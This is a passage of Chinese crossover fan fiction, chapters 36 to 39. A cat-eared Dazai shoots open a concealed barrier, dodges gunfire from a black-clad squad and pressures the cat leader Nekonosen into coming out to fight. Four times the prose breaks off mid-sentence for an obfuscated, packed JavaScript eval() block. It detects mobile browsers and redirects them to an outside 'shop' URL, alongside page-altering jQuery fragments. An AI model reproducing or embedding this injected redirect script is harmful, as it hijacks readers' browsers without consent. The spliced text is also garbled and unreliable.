“你都知道了?你知道了多少?”另一头的声音激动得差点破音。 果然如此么,太宰猫扬起眉毛,鸢色的眸子里闪过一抹若有所思的微光。 那句问话太宰其实没多少把握,但他装成很有把握的样子说出来,就是为了诈一下猫之千,而猫之千给出的反应也很有意思。 猫之千和他见面的那一次应该是第一次见到他,按理说他应该不了解他是一个怎样的人才对,但在他说自己能打破结界的时候,猫之千一点都不怀疑他没有那个实力,轻易地相信了,后续在他问出那句话来时,他也是完全没有怀疑。 如果是一般人,听到他说的话,第一反应应该是质疑,除非——那个人知道他有那个能力。 猫之千和他只见过一次面,他是从哪里了解他的呢?和通缉令里的那个太宰有关系吗? 不仅值得试探,还是一个好机会呢~ “你是知道我的,”太宰微微眯起眼睛,嘴角缓缓向上,弯出一个锋利的弧度,“我给你一个机会解释,至于我接不接受……” 他相当开心地笑道:“那就要看你的解释合不合我心意啦~” 在他说出这句话之后,耳语对面就死一般地沉默了下来,只剩下或轻或重、着实很不平静的呼吸声,代表着对面和他通话的那位还在。 嗖嗖几下爬到树上,蹲坐在高高枝头的太宰猫抬起眼帘,向着后方眺望。 在这个高度,他能轻松地把底下的一切尽收眼底,更何况,熊熊燃烧的篝火本身就是一个醒目的坐标。 篝火边只剩下五条悟和沢田纲吉两个人,他们似乎在说着什么,五条悟一直望着火堆,火光映照在他的脸上,映出他眉头轻轻蹙起的样子,他似乎兴致不高,纲吉说了一大堆话才见到他张嘴接一句。 右耳从一边的森林里走出来,一边走一边四处乱瞄,脸上还带着点不甘心;左耳一个人在草地上闲逛,嘴里咬着一颗青绿色的野果,走着走着突然呲牙咧嘴起来,大概是被果子酸到了吧。 里里外外逛了一圈后,他的目光不经意地回到了篝火边,慢悠悠地落在了银白发色的男人身上。 时间似乎过去了一天之久,耳语那头终于传来了猫之千微微颤抖的声音,听起来虚无又缥缈,如在梦中,却又隐隐带着一点失落和害怕。 “……不知道,我不知道喵。” 太宰刷的一下收回目光,两只猫耳朵机警地竖了起来。 “为什么那个时候会出现在你面前我不知道,我只知道,我要回来!”他说到回来的时候像是咬着牙说出来的,带着万斤重量压身也不可改的强烈意志,“即便……即便要带着你一起回来喵。” “哎呀就这样?”太宰无感情地笑了一下,“你就没有其他要解释的了吗?” 一阵沉默后,耳语对面的声音才传了过来:“没有喵。” “……这个解释让我很不满意呀~”太宰突然变成人形,举起手,手心抬高到和眉眼平行,做出一个握枪的手势。 只是一瞬间,他的手心里似慢实快地勾勒出一把手枪的形状,正好严丝合缝地填上所有空当。 等待手枪完全显形后,太宰耍杂技一般勾着黑色手枪的握把飞速旋转,手枪划破空气的声音能清晰地传到耳语对面。 听着这声音,猫之千的心越跳越快,不详的预感所形成的乌云降临在他的头顶上,他在心里极力地思考着必要的措辞,哪怕暂时欺骗性地安抚一下太宰也好。 只是他是那种在危急关头就会脑海空白一片的类型,到了这种时候,越是用力地想,他越是一个字都想不出来。 下个瞬间,在舞枪声消失的同时,太宰停下的枪口正好对准了前方三棵橡树斜上方,大概几十米高的天空某一处。 将食指搭在扳机上,太宰微微一笑,“所以……” “等等!”猫之千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720229|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管不顾地大声喊了出来。 “看到了吗?就是现在!”藏在分界线结界里的枯藤激动得不能自已,也顾不上身在远方的月见是否真的能看到他面前的场景,只顾着抒发自己过度兴奋的情绪,“就是这一枪,这一枪下去……” 砰! 这一声到底是通过耳语传了过来,猫之千绝望地闭上眼睛,就仿佛是自己的心脏被击中了,一时之间不清楚涌上自己心头的是对刚刚没有全部交代出去的后悔,还是对那个人真的打出这一枪的害怕,亦或者是……腾地迅速燃起的,灼烧心灵的憎恨。 也可能所有情绪都掺了一点。 太宰的枪法很好,指哪打哪,一枪出去就命中目标,打碎了一方隐形的结界。 ——只不过打碎的是枯藤他们设置的结界。 球形的结界如同被打碎的玻璃一般纷纷扬扬地洒了一地,最后缓缓融进了绿色的草地里。 被暴露出来的枯藤整个人都僵住了,他睁着一双茫然的眼睛,刚刚还在说话的嘴巴仍然张开着,却再也吐不出下一个字,他下意识地低下头,又缓缓抬起,像是想要看清楚眼前的这一幕。 紧接着,他的心脏跳动速度瞬间加快,呼吸变得急促,眼球里爬满了红血丝,似乎那一刻眼底映下的影像到底是传到了他的脑子里,让他充分理解了这一幕所代表的含义。 枯藤深深地吸了一口气,但仍然止不住身体的颤抖,他抬起手,手指指向不知何时转了过来,正面面对着他的太宰,嘴唇不停哆嗦,“你、你、你……” “你都干了些什么啊!!!” 他终于把所有害怕和惊讶尽数转化成愤怒,大吼了出来。 哇哦,有好戏看了呢~ 月见颇感兴趣地挑起一边眉毛,这一枪连他也没想到,之前,即使是作为半个局外人旁观的他,都没有发现这只黑猫有提前察觉到什么。 没想到被枯藤分队长期待已久的第一枪竟然是打向他们,真是颇具讽刺意味啊,月见勾起嘴角,手动调整了一下面前的虚拟屏幕,让画面框住太宰和枯藤分队长,以及分队长身后的一群‘自己人’。 才调整完,画面上的太宰开口了:“哎呀我干了什么你不是看得一清二楚吗?” 他用右手握着手枪,左手食指点在下巴上,眼睑半垂,像是在思考什么。 沉吟了一秒后,他抬起眼帘,作出一副恍然大悟的样子,冲着枯藤露出一个清爽的微笑:“您莫非是眼睛有问题?年纪轻轻……” 上下扫了两眼枯藤,太宰的目光很明显的在他的脸上多停留了一秒,随后面露同情地道:“啊您也不年轻了呢,真是失礼了,都这么一大把年纪了,眼睛就这么突然坏掉了,大叔您可真惨呀~” 听见他的话后,枯藤当即眉头倒竖,鼻孔冒白烟,脸上红红白白变个不停,几乎气得一佛出世,二佛升天,一口老血就要当场吐出来。 这攻击力,谁看了不得给他点个赞,包能在嘴替这个行当成功占据一个数一数二的位置。 至于被太宰攻击的另一位当事人嘛,那就只能给他点根白蜡烛,意思意思一下就得了。 37.从子弹中穿过 差点被气成西红柿的枯藤当场做了几个深呼吸,慢慢冷静下来,随后他勉强扯起嘴角,故作不屑地冷笑了一声:“你也就只能在这个时候逞逞嘴皮子功夫了。” “既然已经暴露了,那么,计划提前!”他举起手,用力向前一挥,同时命令道:“不过在计划开始之前,先给我收拾了这个不识好歹的混账家伙!” 枯藤身后跟着一群穿得严严实实的人,差不多有二十多个,统一着黑色便装,头上戴着一个黑色圆形帽子,连脸上也蒙了一块黑布,全身上下只露出两只眼睛,几乎能称得上名副其实的黑衣人了。 听到他的话后,所有黑衣人一言不发地抬起手里握着的突击步枪,枪口对准了站在树上的太宰。 下一刻,保持静默的黑衣人们在同一时间一齐开火,顿时,耳朵都快要被震聋掉的枪声响起了,由子弹组成的弹幕向着大树上空太宰所在的位置洒了过去。 巨大的响声惊起了森林里藏着的一大片飞鸟,到处都是扑扇翅膀的声音,一群正常时候根本找不见的,各个种类的小鸟们在此刻全部飞了起来,伴随着无数落下的羽毛,就像是下了一场五颜六色的雪。 在这纷纷扬扬的‘小雪’中,站在树枝上的太宰展开双臂(那把手枪已经被他收回去了,现在是双手空空的状态),身体自然地向后倾倒,大量子弹险而又险地擦着他的头顶飞过去,灼热的空气甚至把他额前的一缕刘海炙得更为卷曲。 在降落了差不多和自身一半高的高度的时候,太宰身后的那条黑色尾巴突然扬起,闪电般弹射到头顶粗壮的树枝上,并在上面卷了一圈,阻住身体向下降落的趋势。 他这样倒挂在树上的姿势只保持了大概半秒,之后尾巴发力,向着西北一侧,大概三米开外的另一颗大树所在的地点,将他抛了过去,子弹也跟着他转了一个方向,但总是慢人一步。 被抛飞的他在半路上自然地改换成另一个姿势,由背面向下改成正面向下,在快要接近另一颗大树时,举起手,随后准确地地抓住目标树枝。 顺利达成预期目标后,借着余下的冲力和自己本身向前跳的力道,他再次松开手,以同样的动作往前,但这次是跳到了另一根相对较矮的树枝上。 整个过程中,追在他屁股后面的枪声就没断过,恐怕只要他稍微停顿一秒钟,估计就被子弹打得千疮百孔。 在空中做出此番动作的太宰,就像是在和危险跳贴面舞,如果放在荧屏上,这种惊险又刺激的场面,必然会看得人目不转睛吧。 再次重复以上操作两遍后,太宰成功抵达了预定的最后一颗大树,瞟了一眼地面后,他便当机立断地往下一跳,在接触到地面的那一刻双腿微微蜷起,借着缓冲力道成功着陆。 跳到计划中最后一颗大树上的他,和地面的距离已经被降低到3米左右,即正常的普通人跳下去不会受重伤,甚至不会崴脚的程度了,更何况他这副比常人强了一倍的身体。 成功实践了一遍后,他稍稍调整了一下自己对这副身体的认知,如果下次再做计划,想必应该会更大胆一点吧。 从黑衣人开枪,到他落到草地上,总共大概花了十几秒时间。 太宰现在拥有的这副身体比之他本来的身体更灵活也更好控制,特别是那根尾巴,太宰原本以为它只是根好看的装饰品而已,没想到竟然可以做到这种程度。 在倒下去之前,他本来考虑的是下坠过程中会经过的下一根树枝,借着那根树枝缓一缓,再执行预定好的逃跑计划。 是的,这整个过程,从和猫之千谈判之前太宰就已经计划好了,包括开枪打碎枯藤他们设置的结界,遇到不可抗力后该选择什么样的逃跑方式和逃跑路径都是提前做好的规划。 在昨天晚上,太宰接收情报时就产生了一些疑虑,因为当时情况不明,他选择将这份疑惑埋在心里,今天这一路上的些微异样以及顺利过头的路程则让这份疑惑生根发芽,于是太宰产生了一个想法。 ——也许有另外一伙人在跟着他们。 在查找结界弱点的过程中,他看到了五条悟的动作,这个人似乎有着某一种察觉到普通人不可见信息的办法,在他被玲带走的那次,五条悟就及时找了过来,几乎就比玲晚上大概十几分钟。 这种速度,没有一点特殊方法是办不到的。 于是他开始思考,分界线里有什么值得五条悟注意的地方呢?再联想到可能跟踪的人以及昨晚的情报问题,他做出了一个猜测——那伙人就藏在分界线里,用到的技术可能和猫之境的结界一样。 如果他所有疑虑的背后是同一伙人,那么他们应该不会放着那么好用的技术不用。猫之境的结界有很多优点,其中常人肉眼看不见,也摸不着的优点最为突出,兼具了隐藏和伪装。 如果他不是提前知道这里还有一个结界,他一定看不出来结界的存在。 而且,既然这伙人能给出破解结界的方法,那就说明他们对这一结界了解很深,必然也拥有复刻,至少是复刻劣质版结界的技术。 那么,他们就很有可能会用上这一技术。 但猜测毕竟只是猜测,在证实之前谁也不知道他是不是多虑了。 不过,要验证他的猜测也很方便,猫之境的结界也有一个缺点,这个缺点还是那份情报给出的,同样只需要用那份情报给的方式研究一遍分界线地带,他就可以知道那里到底藏没藏人了。 太宰的行动力一向不差,在想到这些的时候,他便这么做了,在纲吉他们准备午餐的那段时间里,太宰干的就是这件事。 结果很快出来了,太宰的猜测是真的,他真的在分界线地带找到了隐形结界存在的证据以及弱点。 知道有这么一伙人存在后,太宰便打算将他们逼出来,虽然不知道他们的目的是什么,但是既然鬼鬼祟祟地跟在他们身后,用脚趾头想也知道他们想干的肯定不是什么好事。 喜欢藏在阴暗角落里的老鼠还是要赶出来见一见光才好。 在他想着什么时候给老鼠们一个惊喜的时候,午餐时又意外得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733892|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个和猫之千联系的机会,这个机会正好有利于此行的目的,太宰哪一边都不想放弃,于是他选择双管齐下。 一边和猫之千谈判,一边逼出那群老鼠。 他和猫之千谈判的地点是精心选择好的,那个落脚地,既要能看到三颗橡树,也就是猫之境的结界所在地(方便他威胁),又要离枯藤他们的隐藏地点在一百五十米内,可以让他打中结界,毕竟他的手枪射程是一百五十米。 在选择之前,太宰便把靠近分界线一带的地势摸透了,选好落脚地后他将周遭的环境构成记在心里,并想好了多于三条的逃生路线,所以这会儿才能逃得这么干脆又利落。 “好危险好危险~” 虽然嘴上说得很轻松,但落到地上的太宰微微眯起了眼睛,动作也是迅速得很,脚跟一接触到地面,他便往侧边方向一扑,用飞一般的速度躲到了一颗枝繁叶茂,直径足有两个成年人手拉手那么粗的大树后面,及时地躲开了前后脚跟过来的子弹。 眼见这么一大群人的攻击全都落空了,枯藤额角青筋鼓起,脸色变得铁青,眼里几乎要冒出火光,“废物,你们都是干什么吃的!” 他咬了咬牙,按着太阳穴,怒喝道:“给我执行包抄战术一!” 黑衣人们自动分成三队,以太宰躲藏的大树为中心,一队沿着左侧的路前进,一队走右,最后一队径直往前,而且这几个队伍并不是仅仅光顾着赶路,他们是一边沿着选择好的方向前进,一边开枪,用连绵成片的子弹雨压制太宰,确切地保证他逃不了。 三个方向一同进发的包抄战术,锁死了太宰这几个方向的逃生路线,让他只能从战术漏出的口袋方向逃跑。 但这个方向其实藏着更危险的人,即枯藤本人,他已经在往那个方向赶过去,虽然枯藤之前没开枪,但那是因为他的能力比枪械要更强大,已经不需要这种东西了。 藏在树后面的太宰微微探出头,只是匆匆看了一眼,就被子弹又逼了回去。 不过一眼也就够了,这种套路,在港口黑手党指挥着部下和其他黑手党们火拼的时候,他已经玩过太多次了。 对于熟读多种战术理论,并深入实践了几年,次数甚至可以称得上频繁的太宰来说,他们这种逼他就范的方式还不够看,光看一眼他就能找出诸多漏洞来。 但缩回大树后的太宰并没有立刻采取行动,而是突然说起话来:“猫之千,对于这伙人,你怎么看?” 他是在通过耳语说话,在刚刚那一系列的行动中,他和猫之千的联系完全没有断掉,所以耳语另一头肯定也全部听到了他这边的动向。 并且,猫之千这家伙应该知道这一伙人的来历才对。 毕竟,那个被他气得暴跳如雷的中年人,可是在打算干掉他之前说过这么一句话呢——“既然已经暴露了,那么,计划提前!不过在计划开始之前,先给我收拾了这个不识好歹的混账家伙!” 这伙人的计划,其真实目标,既然不是对着他,那么就只能是猫之一族了。 38.天然钓系宰 五条悟站在离太宰大概四百来米的另一颗大树顶上,在枪声响起大概七八秒后,他就已经站在了这里,看到了正忙着躲避子弹的太宰。 就在看到他的那一刻,太宰也注意到了来自斜上方五条悟的视线,当时他就抬起头,对着刚踏前一步的五条悟摇了摇头。 五条悟立刻领悟到他的意思,皱了皱眉后,还是把腿收了回来,同时握住旁边沢田纲吉的肩膀,止住他前进的趋势。 “虽然不知道太宰在打什么主意,”五条悟没有看用不解的目光望向他的沢田纲吉,而是目不转睛地盯着每时每刻都少不了惊险刺激的太宰,“但我相信他做出的决定。” ——除了在他想把自己弄死这件事上。 顿了一下后,五条悟继续说道:“他不让我们现在过去应该是有自己的原因吧。” 沢田纲吉:??? 五条老师你刚刚不还是在和太宰君闹别扭?和太宰君对视一眼后就决定听他的话做了?喂你们是在什么时候和好的怎么不告诉我啊! 同样被枪声惊动的左耳和右耳似乎没有他们这个待遇,在太宰和猫之千开始对话的时候,终于找了过来的他们俩正好对上了一队拿着突击步枪的黑衣人。 但好在,自称在族里学习多年的左耳他们并不是混了很多年,还是有点真本事在身上的,虽然和五条悟比起来显得有点不够看,但仅仅在短时间内躲避这一队黑衣人的攻击,保证自己不受伤这件事上,他们还是做得到的。 光论身手的话,他们两个还是比太宰要强的,太宰自己也知道这一点。 * “那伙人,我好像认识……”从耳语里传出来的声音迷迷糊糊的,像是说话的人陷入了精神恍惚,“【逝妖】……应该是叫这个名字的组织吧,那些人的打扮很符合这个组织的惯例喵。” “听说这个组织总是出现在……某些抹杀事件里,他们的目标既有妖怪,也有人类,不分物种,出手的规律也叫人摸不着头脑,所以……出现在哪里都不奇怪喵。” “他们这次是盯上我们了喵……” “等一下……是叫这个名字吗?”过了一会儿后,猫之千疑惑的声音再次传了过来,听起来很有点中气不足,“……还是【救世之铭】喵?” 藏在树后的太宰微微蹙起眉头。 这语气,和刚刚在他问到猫之千为什么会把他特意带过来时,他的回答一摸一样。 像是想不起来,但又隐隐约约的能在记忆中找到一点支离破碎的片段,所以说起话来犹犹豫豫,但又能说出点什么。 “别管叫什么名字了,”太宰冷静的声音响起,如同一把锐利的刀子,将猫之千昏昏沉沉的思绪切成两半,“我和左耳他们恐怕挡不了这伙人太久,至于和我们同行的另外两个人,你最好也不要指望他们。” 说着他就地一个翻滚,在从斜上面射过来的子弹追击下,翻到了另一颗大树后,几乎是同时,沉闷的咄咄声在他耳边响起,追在他屁股后面过来的子弹全射在了挡在他面前的可怜大树上。 这一片子弹的来源地,斜上方的大树上,像是下水饺一样扑通扑通跳下来一群黑衣人,一落地就向着太宰的方向追了过去。 太宰头上的猫耳朵抖了抖,附近所有人的动向很清晰地传到了他的耳朵里,几乎是在听到声音的同时,他就在脑海里做出了对应的3D图像。 而且这副3D图像并不是静止的,而是随着耳朵里传来的声音随时更改,如果把他脑海里的这副图投影到电视屏幕上,几乎可以当成一部即时动作电影来看。 南西北三个方向都有黑衣人在,他们正在收紧口袋,想把他逼往东边的方向,那里就是一个留给他的,明显的口子。 再次翻到另一颗树后的太宰疲惫地喘了一口气,在他躲避的这十几秒里,耳语那边都没有声音传过来,猫之千听了他的话后似乎在犹豫,他既没有挂断耳语,也没能说出点什么。 刚刚话里的言外之意,猫之千应该理解了才对,但是它心里似乎是存在着什么顾虑,迟迟不肯做出反应。 没有挂断耳语,说明它关心这边的情况,关心但又不做出行动,这就只能说明它内心存在的那个顾虑和猫之境的安危在它心里的分量几乎一样,这才叫它既舍不得挂断耳语,又做不出什么像样的行动。 那个顾虑,应该是和它此前做出的,针对他的那一系列行动有关。 看来还得在加一把火,太宰在脑海里把思绪分成三部分,一部分在计算敌人的行进路线,一部分在与之对应的自己应该行进的路线,最后一部分在思考该怎么说才能再加一把火,三者同时进行。 很快,所有该思考的问题他都想好了,一边按着自己规划的路线前进,太宰一边对着耳语说道:“你准备如何应对这伙人?” 望着前方茂密的森林,他轻轻地喘了一口气,继续说道:“是躲在结界后面当个缩头乌龟,等着他们把我和左耳他们干掉后再强行攻进你们最后的家园,在里面无所顾忌地大肆破坏,而你们那些还很弱小的、年幼的同胞只能眼睁睁看着惨剧发生在自己面前……” 沉重的呼吸声传了过来。 “还是——”太宰眨了眨眼,“出来和他们一战?” 他的声调不高,尾音绵长,却似乎有一种能让听众听到心里去的魅力。 几乎是在太宰说出这句话的下一刻,耳语那头终于憋不住了,猫之千听起来很不平静的声音在他耳边响起:“等我五分钟,五分钟后我会带着最好的帮手出来喵!” 在这五分钟里,太宰拖着一帮黑衣人来来回回,就是不往他们做出的口袋里跑,可以说是把他们耍得团团转。 遛狗的途中太宰还遇到了左耳和右耳他们,只不过没来得及和他们打招呼,因为太宰本人身后带着的狗着实有点多,几乎占了七成左右,而且几乎所有的黑衣人,只要看见太宰,就一定会把目标转移到他身上,直到太宰出现在他们的视野之外才暂时不追了。 五分钟时间转瞬即逝,一直在心里估摸着时间的太宰在约定的时间即将到来之前,利用黑衣人的视野盲区玩了一手魔术,堂而皇之地消失在他们的眼皮底下。 其实他溜到了一颗靠近猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741208|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之境门口的大树上。 站在高高的树枝上,被茫茫树叶遮蔽了身形的太宰单手撑着树身,安静地望向结界所在的高空,离到约定的时间还有大概半分钟。 底下来来回回的黑衣人们如同一群热锅上的蚂蚁,在森林里急得团团转,又像是一群无头苍蝇,慌里慌张的找不出一个头绪来。 大概十秒过后,脚底的树枝传来一阵轻微的震颤感,察觉到异样的太宰侧过头,正好看见突然出现在他身边的五条悟。 目光越过他,一段人为穿过枝叶的痕迹暴露在他的眼底,斜上方不远处,密密麻麻的枝叶间,沢田纲吉的身影若隐若现,那里应该也是五条悟先前藏身的地方。 下一刻,纲吉就在他的眼皮底子下消失了,大概是换了个更好藏身的位置吧,原来那部分被五条悟弄得枝叶稀疏,已经起不了一点隐蔽的作用。 “太宰,你到底想干什么?” 近在咫尺的声音唤回了他的思绪,太宰收回遥望远方的目光,转移到身边之人的身上,银白头发的男人表情复杂,苍蓝色的眸子里似乎沉淀着一些不为人知的情绪。 “我的目标一直没变哦~”太宰笑了起来,他的眉眼和缓,柔和的脸部线条让他露出的笑容给人一种邻家小哥一般的亲切感,“至于中途冒出来的一些小插曲,对我即将达成的目标无伤大雅,你接着看下去就知道啦。” 五条悟看了他一眼,太宰脸上的笑容似乎一直如此,短短几天内他已见过不知道多少次。 他却没有笑。 “之前,你在我面前主动跳下去那次……”那双碧空般明净的眸子死死地盯着太宰,“是因为你有把握自己不死吗?” 先前太宰那番在枪林弹雨中如同空中飞人一般的表演,五条悟全部看在了眼底,大概是出于侥幸心理,他才这样问。 “……”太宰缓慢地眨巴了一下眼睛,沉默了片刻,忽地垂下眼,纤长的睫毛遮住了他眼底所有的思绪,“谁知道呢~” 五条悟要的可不是这种模棱两可的回答,他向前一步,迫人的气势逼得太宰稍稍往后缩,背部紧贴在树上,“你……” 巨大的当声突然在此刻响起,淹没了他的声音。 响声消失后,太宰抬起眼帘,沉淀了夕阳的鸢色眸子对上头顶那双似乎永远熠熠生辉的苍蓝色眸子,下一刻,他抬起手,轻轻地抚在五条悟的脸上。 在那人似乎愣住了的刹那,突然使劲往后一推,“挡住光了哦~” 按照太宰的力气,五条悟本不应该被他这一手推动,谁知结果却是他本人结结实实地往后退了几步,原本迫人的气势也基本上清零了。 其实早在五条悟第一次逼问却被意外打断后,他的气势便稍稍回落了一点,接下来又被来了这么一出…… 退开几步的五条悟将目光转移到正前方,虽然似乎在看着什么,但其实什么景象都没有进入他的眼底,换一句话说就是,他无视了前方所有事情。 刚刚发生了什么? 五条悟现在的思绪有点乱,而让他陷入一团混乱的根源就站在他旁边。 39.救救救……命 混乱根源太宰歪了歪头,意外地瞟了五条悟一眼。 没想到五条君竟然没再说些什么,他刚刚只是想打断对方的节奏,兵法有云,一鼓作气,再而衰,三而竭,还以为得来第三次呢,五条君却是在第二次就枯竭了。 难道是因为那边发生的事情吸引了他的注意力? 太宰也将目光投向响声传来的方向。 前方,以三颗橡树构成的一条直线为分界线,分界线左侧被染上了一片金光,透明的光线在金色的海洋里流动,焕发出蓬勃的生命力。 金光的两侧长满了绿蓬蓬的狗尾巴草,风一吹,就成片成片地全部弯下了腰,等风走开,却是半点不害臊地再次昂首挺立。 分界线右侧还是他们熟悉的森林,并无这样……足以让人大吃一惊的变化。 从左边的金光里,走出来一队长着猫耳和猫尾的人,大概二十来个,为首的却是一只和在宠物市场里见到的没什么两样的布偶猫,最多这只看起来更可爱一点。 这队人的队形并不整齐,除了走在头前的布偶猫以及它身后并排站立的两人,其它人全都散漫无比,三三两两的,几乎什么样子的走路方式都能在里面找到。 太宰匆匆扫了一眼出现的所有人,之后目光来到第二排,浅浅地笼罩在其中一个人身上,上下扫视片刻后,他微微扬起嘴角。 那是玲,她今天穿的不是半身裙,上身着一件宽松的白衬衫,在腰部一侧打了个时尚的蝴蝶结,露出了肚脐,下身配了一件短款黑色裙裤,脚上则套了一双米白色的长筒过膝靴,打扮很是利落。 看她的样子,伤势应该已经好得差不多了。 知道玲没事,太宰的视线回到了为首的布偶猫身上,目光渐冷。 只看了一眼,他忽然皱起眉头,匆匆收回视线,再次侧过头望向身侧,刚刚还站在那里的人此时已经消失不见,五条悟一句话不说就突然走了。 他抬起头四处扫了一眼,到处都没找到对方的人影。 倒是在东北方向大概百米左右的地方,绿色的树叶间一抹白色突兀无比,那里藏着的大概是纲吉,他今天穿了一件白色衬衫。 按理说五条悟应该不在那里,但太宰仍然若有所思地望着那一角,视线久久没有离去。 另外一边,在当声响起的那一刻,左耳和右耳眉头一皱,不约而同地朝他们家门口的方向投去担忧的目光,但密密麻麻的树木和几乎遮蔽了整个天空的枝叶挡住了他们的目光,叫他们一无所获。 两人对视一眼,同时开始后退,撤出一定距离后分开,分别向着不同的方向奔跑。 不一会儿,左耳手脚并用地爬上一颗直径几乎有一人粗的大树,嗖嗖嗖地几下就蹿了上去,直到站到一根离地几乎百米的粗壮树枝上才停下。 腿部肌肉酸痛,心脏也跳得很快,左耳舔了舔干裂的嘴唇,使劲深呼吸了几次后才觉得好受了一点。 跟在身后的枪声越来越少,到现在甚至全部消失了,难道都去追右耳了?他不会出事吧? 直到这会儿,他才有空思考一路上察觉到的异样。摸着自己越跳越快的心脏,左耳忍不住回过头去。 身后空无一人。 在突然鲜明起来的蝉声中,左耳呆呆地立在树枝上,脑袋一片空白。 耳语突然传过来右耳的呼叫讯号,左耳眨了一下眼睛,眼底迅速亮了起来。恢复知觉的下一刻,要命的窒息感让他长长地吸了一口气,刚刚,他竟然忘记了自己还要呼吸。 但不知道是不是因为吸气的速度太快,左耳突然呛住了,他捂着自己的喉咙咳个不停,脸色也因为刚刚忘记呼吸胀得通红,那团红到现在也没有消退完全,整个人看起来很是狼狈。 片刻后,差不多恢复了的左耳清了清嗓子,张嘴随便说出一个词,他微微皱起眉头,片刻后慢慢松开。 声音稍微有点嘶哑,不过如果是通过耳语传出去,右耳应该听不出来。 接通通讯,右耳的声音立刻传了过来:“左耳,你那边接通怎么这么慢?我这边没人追过来,你没事吧?” “我没事啦,我这边也没人追过来哦,右耳哥,我们在家门口会和吧。” “行,”右耳果然没听出来,“欸——等等,你叫我什么?你小子该不会是有事要求我吧?” “右耳哥你可别冤枉我,心情好的时候,我也会这么叫你哦~” “被那帮人追得这么狼狈,你现在竟然心情很好?真是不能理解。” “不是因为这个啦……”左耳边说边往前走。 在走出森林的那一刻,看到相距八百米外的右耳,左耳扬起了一个和以往一摸一样的笑脸。 但,之后他没能和右耳在三颗橡树那里会和,因为……他们提前在三棵橡树前面百米开外的空地上会和了,和一大帮熟悉的族人一起。 看着最前方小小一只的布偶猫,左耳的热泪几乎盈满眼眶,快走几步,他在布偶猫面前蹲下身,伸出手欲要去抱它,“千酱——,你和其他同胞是特地从家里出来帮我们的吗?” “你想多了喵。”布偶猫很不客气地给了他一下猫猫拳。 左耳熟练地赶在被抓到之前缩回手,余光撇到右耳越过了他们,同站在布偶猫身后不远处的玲打了个招呼,随后两人似乎说起了悄悄话。 是在说太宰的事情吗?对了,太宰他们现在躲去了哪里?怎么一路上都没看见他们的人影? “左、耳!你是在走神吗?”布偶猫带着一点愠怒的的声音突然响起,把他叫回了神。 “啊,”左耳摸着后脑勺露出一个傻笑,“那个,千酱,你带着这么多人出来是干嘛的?” “当然是——”布偶猫那点被左耳忽略的怒气立刻转移到了其他人身上,“把那群敢打我们主意的混蛋全部消灭掉喵!” 说曹操,曹操到,猫之千的话音刚落,枯藤便带着全部黑衣人从森林里走了出来,在和他们隔着将近两百米远的地方停下。 这边发生的剧变几乎引来了所有人的注意,枯藤甚至比太宰还早地将视线投了过去,拄着眉思考了一会儿后,在耳麦里发出集结信号。 所有黑衣人,不管当时在干什么,只要看到或者听到了集结信号,就要立刻放下手上的事务,全力向着发出信号的地方集结。 之前左耳和右耳兵分两路,打算谁身后跟着追杀的人少,谁就先去查看家门口的情况,结果最后两边后面都没跟着人,就是因为这道集结信号。 本该追过去的黑衣人全都撤退并集结到枯藤身边,在他的指示下来到了这里。 枯藤他们停下脚步的刹那,猫之千这边所有的说话声全都从这个世界上消失了,连空气都沉重了起来,不知不觉间,两拨人变成了两方对垒的架势。 布偶猫扬起脑袋,示意抿着嘴的左耳退到自己身后去,随后直起两条后腿,把蹲坐在地上的姿势改成站立的姿势。 “虽然这个时候通常应该说点什么……”昂首挺胸的布偶猫一出口就是一长串的喵喵喵,“但,我跟你们这帮该下地狱的刽子手实在没什么好说的喵!” 站在它身后,位于第二排左侧(对于藏在他们对面五百米外的树上的太宰来说是右侧),穿着黑色燕尾服的橘发青年欠了欠身,将布偶猫这一串除了他们自己猫,外人绝对听不懂的猫话翻译成人话,并同步说了出来。 他还尽量还原了布偶猫说话的语气,连它喜欢缀在句尾的喵都没漏下。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754927|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的玲为之侧目,她以前都不知道,管家和猫之千这两加在一起出现的时候还能酝酿出这种组合技! 